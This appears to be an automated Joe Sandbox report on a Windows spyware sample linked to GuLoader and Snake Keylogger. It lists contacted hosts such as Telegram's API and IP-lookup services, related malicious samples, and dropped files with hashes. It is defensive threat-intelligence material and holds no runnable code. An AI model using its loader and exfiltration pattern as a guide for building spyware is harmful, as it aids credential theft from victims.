https://drive.usercontent.google.com/	czHx16QwGQ.exe, 00000005.00000002.2725015307.0000000005C2F000.00000004.00000020.00020000.00000000.sdmp, czHx16QwGQ.exe, 00000005.00000003.2308354318.0000000005C40000.00000004.00000020.00020000.00000000.sdmp	false	high
http://checkip.dyndns.org	czHx16QwGQ.exe, 00000005.00000002.2745533594.000000003651F000.00000004.00000800.00020000.00000000.sdmp, czHx16QwGQ.exe, 00000005.00000002.2745533594.00000000363B3000.00000004.00000800.00020000.00000000.sdmp, czHx16QwGQ.exe, 00000005.00000002.2745533594.00000000365BD000.00000004.00000800.00020000.00000000.sdmp, czHx16QwGQ.exe, 00000005.00000002.2745533594.00000000362FB000.00000004.00000800.00020000.00000000.sdmp, czHx16QwGQ.exe, 00000005.00000002.2745533594.0000000036402000.00000004.00000800.00020000.00000000.sdmp, czHx16QwGQ.exe, 00000005.00000002.2745533594.0000000036220000.00000004.00000800.00020000.00000000.sdmp, czHx16QwGQ.exe, 00000005.00000002.2745533594.0000000036214000.00000004.00000800.00020000.00000000.sdmp	false	high
https://apis.google.com	czHx16QwGQ.exe, 00000005.00000003.2266612181.0000000005C49000.00000004.00000020.00020000.00000000.sdmp	false	high
http://checkip.dyndns.com	czHx16QwGQ.exe, 00000005.00000002.2745533594.000000003651F000.00000004.00000800.00020000.00000000.sdmp, czHx16QwGQ.exe, 00000005.00000002.2745533594.00000000363B3000.00000004.00000800.00020000.00000000.sdmp, czHx16QwGQ.exe, 00000005.00000002.2745533594.00000000365BD000.00000004.00000800.00020000.00000000.sdmp, czHx16QwGQ.exe, 00000005.00000002.2745533594.0000000036402000.00000004.00000800.00020000.00000000.sdmp, czHx16QwGQ.exe, 00000005.00000002.2745533594.0000000036220000.00000004.00000800.00020000.00000000.sdmp	false	high
http://nsis.sf.net/NSIS_ErrorError	czHx16QwGQ.exe	false	high
http://api.telegram.org	czHx16QwGQ.exe, 00000005.00000002.2745533594.000000003651F000.00000004.00000800.00020000.00000000.sdmp, czHx16QwGQ.exe, 00000005.00000002.2745533594.00000000363B3000.00000004.00000800.00020000.00000000.sdmp, czHx16QwGQ.exe, 00000005.00000002.2745533594.00000000365BD000.00000004.00000800.00020000.00000000.sdmp, czHx16QwGQ.exe, 00000005.00000002.2745533594.00000000362FB000.00000004.00000800.00020000.00000000.sdmp, czHx16QwGQ.exe, 00000005.00000002.2745533594.0000000036402000.00000004.00000800.00020000.00000000.sdmp	false	high
http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name	czHx16QwGQ.exe, 00000005.00000002.2745533594.00000000361A1000.00000004.00000800.00020000.00000000.sdmp	false	high
https://reallyfreegeoip.org/xml/	czHx16QwGQ.exe, 00000005.00000002.2745533594.0000000036220000.00000004.00000800.00020000.00000000.sdmp	false	high

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	ASN	ASN Name	Malicious
149.154.167.220	api.telegram.org	United Kingdom	62041	TELEGRAMRU	false
104.21.112.1	reallyfreegeoip.org	United States	13335	CLOUDFLARENETUS	false
142.250.181.225	drive.usercontent.google.com	United States	15169	GOOGLEUS	false
193.122.6.168	checkip.dyndns.com	United States	31898	ORACLE-BMC-31898US	false
216.58.206.46	drive.google.com	United States	15169	GOOGLEUS	false

General Information

Joe Sandbox version:	42.0.0 Malachite
Analysis ID:	1588292
Start date and time:	2025-01-10 23:36:27 +01:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 7m 42s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	8
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	czHx16QwGQ.exe renamed because original name is a hash value
Original Sample Name:	84b2e764db4bcdad20e5b5455c35a59e9382d29c77ee3ce50940de23691a85a8.exe
Detection:	MAL
Classification:	mal100.troj.spyw.evad.winEXE@3/8@5/5
EGA Information:	Successful, ratio: 100%
HCA Information:	Successful, ratio: 95% Number of executed functions: 148 Number of non-executed functions: 109
Cookbook Comments:	Found application associated with file extension: .exe

Warnings

Exclude process from analysis (whitelisted): MpCmdRun.exe, dllhost.exe, WMIADAP.exe, SIHClient.exe, conhost.exe
Excluded IPs from analysis (whitelisted): 172.202.163.200, 20.109.210.53, 13.107.246.45
Excluded domains from analysis (whitelisted): ocsp.digicert.com, slscr.update.microsoft.com, otelrules.azureedge.net, ctldl.windowsupdate.com, fe3cr.delivery.mp.microsoft.com
Not all processes where analyzed, report is missing behavior information
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtQueryValueKey calls found.
Report size getting too big, too many NtReadVirtualMemory calls found.
Some HTTPS proxied raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.

Simulations

Behavior and APIs

Time	Type	Description
17:38:59	API Interceptor	297x Sleep call for process: czHx16QwGQ.exe modified
23:37:17	Task Scheduler	Run new task: {6F4CAC57-95F3-46BD-9051-BA66312A823F} path:

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
149.154.167.220	6cicUo3f8g.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse
	C5JLkBS1CX.exe	Get hash	malicious	PureLog Stealer, Snake Keylogger, VIP Keylogger	Browse
	rXKfKM0T49.exe	Get hash	malicious	GuLoader, MassLogger RAT	Browse
	4Vx2rUlb0f.exe	Get hash	malicious	GuLoader, Snake Keylogger	Browse
	Yef4EqsQha.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse
	b5BQbAhwVD.exe	Get hash	malicious	GuLoader, MassLogger RAT	Browse
	9Yn5tjyOgT.exe	Get hash	malicious	GuLoader, MassLogger RAT	Browse
	6ZoBPR3isG.exe	Get hash	malicious	GuLoader, MassLogger RAT	Browse
	JgE2YgxSzB.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse
	lsc5QN46NH.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse
104.21.112.1	9MZZG92yMO.exe	Get hash	malicious	FormBook	Browse	www.buyspeechst.shop/qzi3/
	QUOTATION#070125-ELITE MARINE .exe	Get hash	malicious	FormBook	Browse	www.buyspeechst.shop/w98i/
	wxl1r0lntg.exe	Get hash	malicious	DCRat, PureLog Stealer, zgRAT	Browse	838596cm.nyafka.top/lineLongpolllinuxFlowercentraluploads.php
	SH8ZyOWNi2.exe	Get hash	malicious	CMSBrute	Browse	beammp.com/phpmyadmin/
193.122.6.168	Yef4EqsQha.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	checkip.dyndns.org/
	xXUnP7uCBJ.exe	Get hash	malicious	GuLoader, MassLogger RAT	Browse	checkip.dyndns.org/
	ajRZflJ2ch.exe	Get hash	malicious	GuLoader, MassLogger RAT	Browse	checkip.dyndns.org/
	hZbkP3TJBJ.exe	Get hash	malicious	Snake Keylogger	Browse	checkip.dyndns.org/
	9L83v5j083.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	checkip.dyndns.org/
	FILHKLtCw0.exe	Get hash	malicious	GuLoader, MassLogger RAT	Browse	checkip.dyndns.org/
	m0CZ8H4jfl.exe	Get hash	malicious	GuLoader, MassLogger RAT	Browse	checkip.dyndns.org/
	FPACcnxAUT.exe	Get hash	malicious	MassLogger RAT	Browse	checkip.dyndns.org/
	fGu8xWoMrg.exe	Get hash	malicious	GuLoader, Snake Keylogger, VIP Keylogger	Browse	checkip.dyndns.org/
	RubzLi27lr.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	checkip.dyndns.org/

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
checkip.dyndns.com	Ddj3E3qerh.exe	Get hash	malicious	Snake Keylogger	Browse	132.226.247.73
	6cicUo3f8g.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	132.226.247.73
	PK5pHX4Gu5.exe	Get hash	malicious	MassLogger RAT	Browse	158.101.44.242
	7b4Iaf58Rp.exe	Get hash	malicious	MassLogger RAT, PureLog Stealer	Browse	132.226.8.169
	C5JLkBS1CX.exe	Get hash	malicious	PureLog Stealer, Snake Keylogger, VIP Keylogger	Browse	193.122.130.0
	rXKfKM0T49.exe	Get hash	malicious	GuLoader, MassLogger RAT	Browse	132.226.247.73
	4Vx2rUlb0f.exe	Get hash	malicious	GuLoader, Snake Keylogger	Browse	132.226.247.73
	Yef4EqsQha.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	193.122.6.168
	b5BQbAhwVD.exe	Get hash	malicious	GuLoader, MassLogger RAT	Browse	132.226.8.169
	UF7jzc7ETP.exe	Get hash	malicious	MassLogger RAT	Browse	132.226.8.169
reallyfreegeoip.org	6cicUo3f8g.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	104.21.32.1
	PK5pHX4Gu5.exe	Get hash	malicious	MassLogger RAT	Browse	104.21.64.1
	7b4Iaf58Rp.exe	Get hash	malicious	MassLogger RAT, PureLog Stealer	Browse	104.21.80.1
	C5JLkBS1CX.exe	Get hash	malicious	PureLog Stealer, Snake Keylogger, VIP Keylogger	Browse	104.21.80.1
	rXKfKM0T49.exe	Get hash	malicious	GuLoader, MassLogger RAT	Browse	104.21.96.1
	4Vx2rUlb0f.exe	Get hash	malicious	GuLoader, Snake Keylogger	Browse	104.21.112.1
	Yef4EqsQha.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	104.21.112.1
	b5BQbAhwVD.exe	Get hash	malicious	GuLoader, MassLogger RAT	Browse	104.21.80.1
	UF7jzc7ETP.exe	Get hash	malicious	MassLogger RAT	Browse	104.21.48.1
	9Yn5tjyOgT.exe	Get hash	malicious	GuLoader, MassLogger RAT	Browse	104.21.32.1
api.telegram.org	6cicUo3f8g.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	149.154.167.220
	C5JLkBS1CX.exe	Get hash	malicious	PureLog Stealer, Snake Keylogger, VIP Keylogger	Browse	149.154.167.220
	rXKfKM0T49.exe	Get hash	malicious	GuLoader, MassLogger RAT	Browse	149.154.167.220
	4Vx2rUlb0f.exe	Get hash	malicious	GuLoader, Snake Keylogger	Browse	149.154.167.220
	Yef4EqsQha.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	149.154.167.220
	b5BQbAhwVD.exe	Get hash	malicious	GuLoader, MassLogger RAT	Browse	149.154.167.220
	9Yn5tjyOgT.exe	Get hash	malicious	GuLoader, MassLogger RAT	Browse	149.154.167.220
	6ZoBPR3isG.exe	Get hash	malicious	GuLoader, MassLogger RAT	Browse	149.154.167.220
	JgE2YgxSzB.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	149.154.167.220
	lsc5QN46NH.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	149.154.167.220

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
ORACLE-BMC-31898US	PK5pHX4Gu5.exe	Get hash	malicious	MassLogger RAT	Browse	158.101.44.242
	C5JLkBS1CX.exe	Get hash	malicious	PureLog Stealer, Snake Keylogger, VIP Keylogger	Browse	193.122.130.0
	Yef4EqsQha.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	193.122.6.168
	b5BQbAhwVD.exe	Get hash	malicious	GuLoader, MassLogger RAT	Browse	158.101.44.242
	VQsnGWaNi5.exe	Get hash	malicious	Snake Keylogger	Browse	193.122.130.0
	lsc5QN46NH.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	193.122.130.0
	SABXJ1B5c8.exe	Get hash	malicious	MassLogger RAT	Browse	158.101.44.242
	xXUnP7uCBJ.exe	Get hash	malicious	GuLoader, MassLogger RAT	Browse	193.122.6.168
	4UQ5wnI389.exe	Get hash	malicious	GuLoader, MassLogger RAT	Browse	158.101.44.242
	ajRZflJ2ch.exe	Get hash	malicious	GuLoader, MassLogger RAT	Browse	193.122.6.168
TELEGRAMRU	6cicUo3f8g.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	149.154.167.220
	C5JLkBS1CX.exe	Get hash	malicious	PureLog Stealer, Snake Keylogger, VIP Keylogger	Browse	149.154.167.220
	rXKfKM0T49.exe	Get hash	malicious	GuLoader, MassLogger RAT	Browse	149.154.167.220
	4Vx2rUlb0f.exe	Get hash	malicious	GuLoader, Snake Keylogger	Browse	149.154.167.220
	Yef4EqsQha.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	149.154.167.220
	b5BQbAhwVD.exe	Get hash	malicious	GuLoader, MassLogger RAT	Browse	149.154.167.220
	9Yn5tjyOgT.exe	Get hash	malicious	GuLoader, MassLogger RAT	Browse	149.154.167.220
	6ZoBPR3isG.exe	Get hash	malicious	GuLoader, MassLogger RAT	Browse	149.154.167.220
	JgE2YgxSzB.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	149.154.167.220
	lsc5QN46NH.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	149.154.167.220
CLOUDFLARENETUS	Ddj3E3qerh.exe	Get hash	malicious	Snake Keylogger	Browse	104.21.96.1
	Setup.exe	Get hash	malicious	Unknown	Browse	104.21.80.1
	Setup.exe	Get hash	malicious	LummaC	Browse	172.67.162.153
	Setup.exe	Get hash	malicious	LummaC	Browse	172.67.223.109
	6cicUo3f8g.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	104.21.32.1
	PK5pHX4Gu5.exe	Get hash	malicious	MassLogger RAT	Browse	104.21.64.1
	Full-Ver_Setup.exe	Get hash	malicious	LummaC Stealer	Browse	104.21.11.60
	7b4Iaf58Rp.exe	Get hash	malicious	MassLogger RAT, PureLog Stealer	Browse	104.21.80.1
	C5JLkBS1CX.exe	Get hash	malicious	PureLog Stealer, Snake Keylogger, VIP Keylogger	Browse	104.21.80.1
	rXKfKM0T49.exe	Get hash	malicious	GuLoader, MassLogger RAT	Browse	104.21.96.1

JA3 Fingerprints

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
54328bd36c14bd82ddaa0c04b25ed9ad	Ddj3E3qerh.exe	Get hash	malicious	Snake Keylogger	Browse	104.21.112.1
	6cicUo3f8g.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	104.21.112.1
	PK5pHX4Gu5.exe	Get hash	malicious	MassLogger RAT	Browse	104.21.112.1
	7b4Iaf58Rp.exe	Get hash	malicious	MassLogger RAT, PureLog Stealer	Browse	104.21.112.1
	C5JLkBS1CX.exe	Get hash	malicious	PureLog Stealer, Snake Keylogger, VIP Keylogger	Browse	104.21.112.1
	rXKfKM0T49.exe	Get hash	malicious	GuLoader, MassLogger RAT	Browse	104.21.112.1
	4Vx2rUlb0f.exe	Get hash	malicious	GuLoader, Snake Keylogger	Browse	104.21.112.1
	Yef4EqsQha.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	104.21.112.1
	b5BQbAhwVD.exe	Get hash	malicious	GuLoader, MassLogger RAT	Browse	104.21.112.1
	UF7jzc7ETP.exe	Get hash	malicious	MassLogger RAT	Browse	104.21.112.1
3b5074b1b5d032e5620f69f9f700ff0e	6cicUo3f8g.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	149.154.167.220
	C5JLkBS1CX.exe	Get hash	malicious	PureLog Stealer, Snake Keylogger, VIP Keylogger	Browse	149.154.167.220
	rXKfKM0T49.exe	Get hash	malicious	GuLoader, MassLogger RAT	Browse	149.154.167.220
	4Vx2rUlb0f.exe	Get hash	malicious	GuLoader, Snake Keylogger	Browse	149.154.167.220
	Yef4EqsQha.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	149.154.167.220
	3j7f6Bv4FT.exe	Get hash	malicious	Unknown	Browse	149.154.167.220
	3j7f6Bv4FT.exe	Get hash	malicious	Unknown	Browse	149.154.167.220
	b5BQbAhwVD.exe	Get hash	malicious	GuLoader, MassLogger RAT	Browse	149.154.167.220
	9Yn5tjyOgT.exe	Get hash	malicious	GuLoader, MassLogger RAT	Browse	149.154.167.220
	iRmpdWgpoF.exe	Get hash	malicious	Unknown	Browse	149.154.167.220
37f463bf4616ecd445d4a1937da06e19	Setup.exe	Get hash	malicious	Unknown	Browse	142.250.181.225 216.58.206.46
	rXKfKM0T49.exe	Get hash	malicious	GuLoader, MassLogger RAT	Browse	142.250.181.225 216.58.206.46
	4Vx2rUlb0f.exe	Get hash	malicious	GuLoader, Snake Keylogger	Browse	142.250.181.225 216.58.206.46
	b5BQbAhwVD.exe	Get hash	malicious	GuLoader, MassLogger RAT	Browse	142.250.181.225 216.58.206.46
	9Yn5tjyOgT.exe	Get hash	malicious	GuLoader, MassLogger RAT	Browse	142.250.181.225 216.58.206.46
	6ZoBPR3isG.exe	Get hash	malicious	GuLoader, MassLogger RAT	Browse	142.250.181.225 216.58.206.46
	V7OHj6ISEo.exe	Get hash	malicious	GuLoader, MassLogger RAT	Browse	142.250.181.225 216.58.206.46
	2CQ2zMn0hb.exe	Get hash	malicious	GuLoader, MassLogger RAT	Browse	142.250.181.225 216.58.206.46
	6mGpn6kupm.exe	Get hash	malicious	GuLoader, MassLogger RAT	Browse	142.250.181.225 216.58.206.46
	v4nrZtP7K2.exe	Get hash	malicious	GuLoader, MassLogger RAT	Browse	142.250.181.225 216.58.206.46

Dropped Files

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link
C:\Users\user\AppData\Local\Temp\nsqC9EA.tmp\System.dll	rXKfKM0T49.exe	Get hash	malicious	GuLoader, MassLogger RAT	Browse
	b5BQbAhwVD.exe	Get hash	malicious	GuLoader, MassLogger RAT	Browse
	9Yn5tjyOgT.exe	Get hash	malicious	GuLoader, MassLogger RAT	Browse
	6ZoBPR3isG.exe	Get hash	malicious	GuLoader, MassLogger RAT	Browse
	V7OHj6ISEo.exe	Get hash	malicious	GuLoader, MassLogger RAT	Browse
	2CQ2zMn0hb.exe	Get hash	malicious	GuLoader, MassLogger RAT	Browse
	6mGpn6kupm.exe	Get hash	malicious	GuLoader, MassLogger RAT	Browse
	v4nrZtP7K2.exe	Get hash	malicious	GuLoader, MassLogger RAT	Browse
	xXUnP7uCBJ.exe	Get hash	malicious	GuLoader, MassLogger RAT	Browse
	4UQ5wnI389.exe	Get hash	malicious	GuLoader, MassLogger RAT	Browse

Created / dropped Files

C:\Users\user\AppData\Local\Iw\14-scaled.jpg

Download File

Process:	C:\Users\user\Desktop\czHx16QwGQ.exe
File Type:	JPEG image data, JFIF standard 1.01, resolution (DPI), density 300x300, segment length 16, baseline, precision 8, 2560x2560, components 3
Category:	dropped
Size (bytes):	484658
Entropy (8bit):	7.809711763657168
Encrypted:	false
SSDEEP:	12288:W1S3xo63wl4biprI2S4WwWEcwxg9dvVAxZOCLF0DB:Wo3xX3y4bz2lWwWo6rSTZyd
MD5:	5C727AE28F0DECF497FBB092BAE01B4E
SHA1:	AADE364AE8C2C91C6F59F85711B53078FB0763B7
SHA-256:	77CCACF58330509839E17A6CFD6B17FE3DE31577D8E2C37DC413839BA2FEEC80
SHA-512:	5246C0FBA41DF66AF89D986A3CEABC99B61DB9E9C217B28B2EC18AF31E3ED17C865387223CEB3A38A804243CF3307E07E557549026F49F52829BEBC4D4546C40
Malicious:	false
Reputation:	moderate, very likely benign file
Preview:	......JFIF.....,.,.....]http://ns.adobe.com/xap/1.0/.<?xpacket begin="." id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 7.2-c000 79.566ebc5, 2022/05/09-07:22:29 "> <rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="" xmlns:xmp="http://ns.adobe.com/xap/1.0/" xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:photoshop="http://ns.adobe.com/photoshop/1.0/" xmlns:xmpMM="http://ns.adobe.com/xap/1.0/mm/" xmlns:stEvt="http://ns.adobe.com/xap/1.0/sType/ResourceEvent#" xmlns:stRef="http://ns.adobe.com/xap/1.0/sType/ResourceRef#" xmlns:tiff="http://ns.adobe.com/tiff/1.0/" xmlns:exif="http://ns.adobe.com/exif/1.0/" xmp:CreatorTool="Adobe Photoshop CC 2018 (Windows)" xmp:CreateDate="2018-04-27T15:00:27+08:00" xmp:ModifyDate="2022-09-22T14:01:54+08:00" xmp:MetadataDate="2022-09-22T14:01:54+08:00" dc:format="image/png" photoshop:ColorMode="3" xmpMM:InstanceID="xmp.iid:b728d5c8-8822-6d4c-afc1-a393cb2a04ec"

C:\Users\user\AppData\Local\Iw\Kbmandsskole.str

Download File

Process:	C:\Users\user\Desktop\czHx16QwGQ.exe
File Type:	data
Category:	dropped
Size (bytes):	112291
Entropy (8bit):	1.249420131631438
Encrypted:	false
SSDEEP:	768:5R+BCpkJWjYWL2MxTVLvUjpGqik9JiAfWA2DBQwD1PzUH+HYZmIo7x31sT:WCZY21w0I2NZYD
MD5:	4D1D72CFC5940B09DFBD7B65916F532E
SHA1:	30A45798B534842002B103A36A3B907063F8A96C
SHA-256:	479F1904096978F1011DF05D52021FAEEE028D4CF331024C965CED8AF1C8D496
SHA-512:	048844A09E291903450188715BCDDF14F0F1F10BEAFBD005882EBF5D5E31A71D8F93EEBE788BD54B4AED2266C454F4DCA18AF4567977B7E773BBE29A38DEA45B
Malicious:	false
Reputation:	moderate, very likely benign file
Preview:	..........P............+......................................................................................................................X......n..(................G...................................m.........\|.......................U.............`............l..............@}.........a........................................s............y.................N...............B...............w.e..........................................Q......*...................................................................................................a...........................f..................p..................t...........................................9.Q................@....................e................................................................:..............P.......S.........................P........................9..............._.......................(...............N............................................................H.T..........c..............................

C:\Users\user\AppData\Local\Iw\Sensuousnesses.opk

Download File

Process:	C:\Users\user\Desktop\czHx16QwGQ.exe
File Type:	data
Category:	dropped
Size (bytes):	362089
Entropy (8bit):	1.23992084267325
Encrypted:	false
SSDEEP:	768:xOeaameETrlE0+1mGOWb3h5WAV0hW+JSLSwzj2HlSdL0f6mhKZRaqOzWz6szt3cA:x+ds5dYOVxIW3hhdeRt6MeZ1W4vB
MD5:	A4340182CDDD2EC1F1480360218343F9
SHA1:	50EF929FEA713AA6FCC05E8B75F497B7946B285B
SHA-256:	B91E5B1FF5756F0B93DCF11CBC8B467CDA0C5792DE24D27EC86E7C74388B44B3
SHA-512:	021F198AFF7CCED92912C74FC97D1919A9E059F22E99AB1236FBAA36C16B520C07B78F47FC01FCFAC1B53A87CDAE3E440D0589FA2844612617FAB2EDB64A3573
Malicious:	false
Reputation:	moderate, very likely benign file
Preview:	..........F.............................i.....................B.........................................b..Et.............................O...........h...............................................................................8..........n.....................w.................../.......\|.......'........,..........(...........................W......#..................................................................................................=..........................]..........q................................................[.................2....S............................"...................................$!..............................=.......................................[f.................................................................................................................V.............................w...................................................$.............................................................j...........h.............J..............

C:\Users\user\AppData\Local\Iw\Udkrammendes.Cyc

Download File

Process:	C:\Users\user\Desktop\czHx16QwGQ.exe
File Type:	data
Category:	dropped
Size (bytes):	274384
Entropy (8bit):	7.777955751363666
Encrypted:	false
SSDEEP:	6144:t2KrjgMsvnR11IlECV7ixu2m0ZMIjZgIAbd0nUaA6wFaw:5sMsvnX1ICw2rZMyMb3a9wFb
MD5:	5D79775148C09B7A085EDC598B46C3F1
SHA1:	C07D2987A7351B84D333D8AE959D01F753B6BF65
SHA-256:	7D62148C2FF50EB7EB0F16DDC5D68A8A26CBB88FBF4C77ADC7B973F5F7F359A0
SHA-512:	6352578460E4D21D0792B8F55C0A7531AB8E71000EB9921BB891D7B17407D2152B9FF5D4A4BBFF4326D5643EE63CDC699FF22C963F69230D7A0A195CF75D46E7
Malicious:	false
Reputation:	low
Preview:	..................t.....2.".&..c..1......aa............]]........................!........<..q.[[[.C..II.....@............^.........'...T.......,........7................................7............++......m......Z.................11....HHHH.....)........................9..............xxxxxxx.....B......u.%.,....".......W.......................SS...1..................L....N...^...........0.......KK.......................""...........]]...__.Y..................!.....c.....eeee................................777........UUU......\\.kkk..................ggg....5....]]]].m....h.777..@@.f........11111............>>>.........U.....BB.+.........................jj...DDDDDDD.y.....v....9999........2.....3333.JJ.ssss.......b...........SSS.....!...nn..........}}}}}}..FF..f.W.......................DDD.v....................H.....................................................--......d....'......................WW.....3..LL........../.+++.........kk........................,.J..................g..}}

C:\Users\user\AppData\Local\Iw\Vrditab.Pne

Download File

Process:	C:\Users\user\Desktop\czHx16QwGQ.exe
File Type:	data
Category:	dropped
Size (bytes):	68445
Entropy (8bit):	4.608525493692617
Encrypted:	false
SSDEEP:	1536:dhiMuKUm30j8f0XnHuQhpZQ+GaZEnS4yW:XULj8sXHpjJJW
MD5:	E49A8F6BEE0252312ED665FD40B5666E
SHA1:	F6693AB5F6453C1FABA444E433539D03E09C2FF8
SHA-256:	7EC95F001996C574DA52DD9316D0CA55F4570815CCA6FDB52DBD95D895A4066B
SHA-512:	1D75A9921A10D9FCABB92CEE82A820E0AE885FD379C9E2439491AC4D309C138204815188416E3E262D3F6BD7A7A8370609BD9996FAE7E6027FE63A6B62BC6FC3
Malicious:	false
Preview:	..-..%.........PPP.X.....vv......O.aa.444......--..k................F...jj.....rr........QQQ..{{{{.n...................6............\\................P.==.........$................>>..~~~~..Y.......MM.................k............EE....aaaaa....M....bbb..d...........m...........................""..............22222222..GG.s.....<.O..r..55.....KK..................WW..kk................s.ll.B...&.........CC....`.....*.........b....---.............//................................C...................!......\\..5.GGGG..Y.............. .........................C...g.....................{..x.........<<....q...B.........K......~~..."""".......................................o.............0.....W....rr........qq............g.......T.....~.........................{................8...........].....n.YYY...........................................\|\|..????.......J........CC...........}...........................??........Y.AAA...S...................eee..........gg....ww........]..."".....[[....

C:\Users\user\AppData\Local\Iw\prepares.pli

Download File

Process:	C:\Users\user\Desktop\czHx16QwGQ.exe
File Type:	FoxPro FPT, blocks size 22, next free block index 285212672, field type 0
Category:	dropped
Size (bytes):	139354
Entropy (8bit):	1.2473328695625903
Encrypted:	false
SSDEEP:	768:9OsMSh8lSnJGyUzWZsO2ipzPFmDZC9kpzroto48tf2+5lVp:9delFlqNawgJp
MD5:	B0FB6B583D6902DE58E1202D12BA4832
SHA1:	7F585B5C3A4581CE76E373C78A6513F157B20480
SHA-256:	E6EA5F6D0C7F5FA407269C7F4FF6D97149B7611071BF5BF6C454B810501AE661
SHA-512:	E0894FFBD76C3476DC083DAFD24F88964BF6E09E4CA955766B43FE73A764A00247C930E9996652A22B57B27826CD94F88B8178514060CA398DE568675F9E4571
Malicious:	false
Preview:	.......................................\|...................................................................+................$......&....A........................................................Z.....................................A...............!.....Y........................l..........9..................c.............f.................F...".................................................h.......................................\..............J............................5......t.....E.................q........................:......^....................................................................................I..........................................................x......W....................................................................................M...........................X..............................,..................m.......................................................................................................................J........ ...F...........

C:\Users\user\AppData\Local\Temp\nsqC9EA.tmp\System.dll

Download File

Process:	C:\Users\user\Desktop\czHx16QwGQ.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	12288
Entropy (8bit):	5.719859767584478
Encrypted:	false
SSDEEP:	192:1enY0LWelt70elWjvfstJcVtwtYbjnIOg5AaDnbC7ypXhtIj:18PJlt70esj0Mt9vn6ay6
MD5:	0D7AD4F45DC6F5AA87F606D0331C6901
SHA1:	48DF0911F0484CBE2A8CDD5362140B63C41EE457
SHA-256:	3EB38AE99653A7DBC724132EE240F6E5C4AF4BFE7C01D31D23FAF373F9F2EACA
SHA-512:	C07DE7308CB54205E8BD703001A7FE4FD7796C9AC1B4BB330C77C872BF712B093645F40B80CE7127531FE6746A5B66E18EA073AB6A644934ABED9BB64126FEA9
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0% Antivirus: Virustotal, Detection: 0%, Browse
Joe Sandbox View:	Filename: rXKfKM0T49.exe, Detection: malicious, Browse Filename: b5BQbAhwVD.exe, Detection: malicious, Browse Filename: 9Yn5tjyOgT.exe, Detection: malicious, Browse Filename: 6ZoBPR3isG.exe, Detection: malicious, Browse Filename: V7OHj6ISEo.exe, Detection: malicious, Browse Filename: 2CQ2zMn0hb.exe, Detection: malicious, Browse Filename: 6mGpn6kupm.exe, Detection: malicious, Browse Filename: v4nrZtP7K2.exe, Detection: malicious, Browse Filename: xXUnP7uCBJ.exe, Detection: malicious, Browse Filename: 4UQ5wnI389.exe, Detection: malicious, Browse
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......qr.5.D.5.D.5.D...J.2.D.5.E.!.D.....2.D.a0t.1.D.V1n.4.D..3@.4.D.Rich5.D.........PE..L....~.\...........!....."...........).......@...............................p............@..........................B.......@..P............................`.......................................................@..X............................text.... .......".................. ..`.rdata..c....@.......&..............@..@.data...x....P.....................@....reloc.......`.......,..............@..B................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\nsvC834.tmp

Download File

Process:	C:\Users\user\Desktop\czHx16QwGQ.exe
File Type:	data
Category:	dropped
Size (bytes):	1467374
Entropy (8bit):	5.470993464057012
Encrypted:	false
SSDEEP:	24576:usMI+CTWyyKOFko3xX3y4bz2lWwWo6rSTZyBwe:EIPanKOSoBXbz2luo6rS1yBD
MD5:	45517799D523F02B1C97A24B9C02AC51
SHA1:	6C1ABD841208D3C666FB9A6712036687417ACA2A
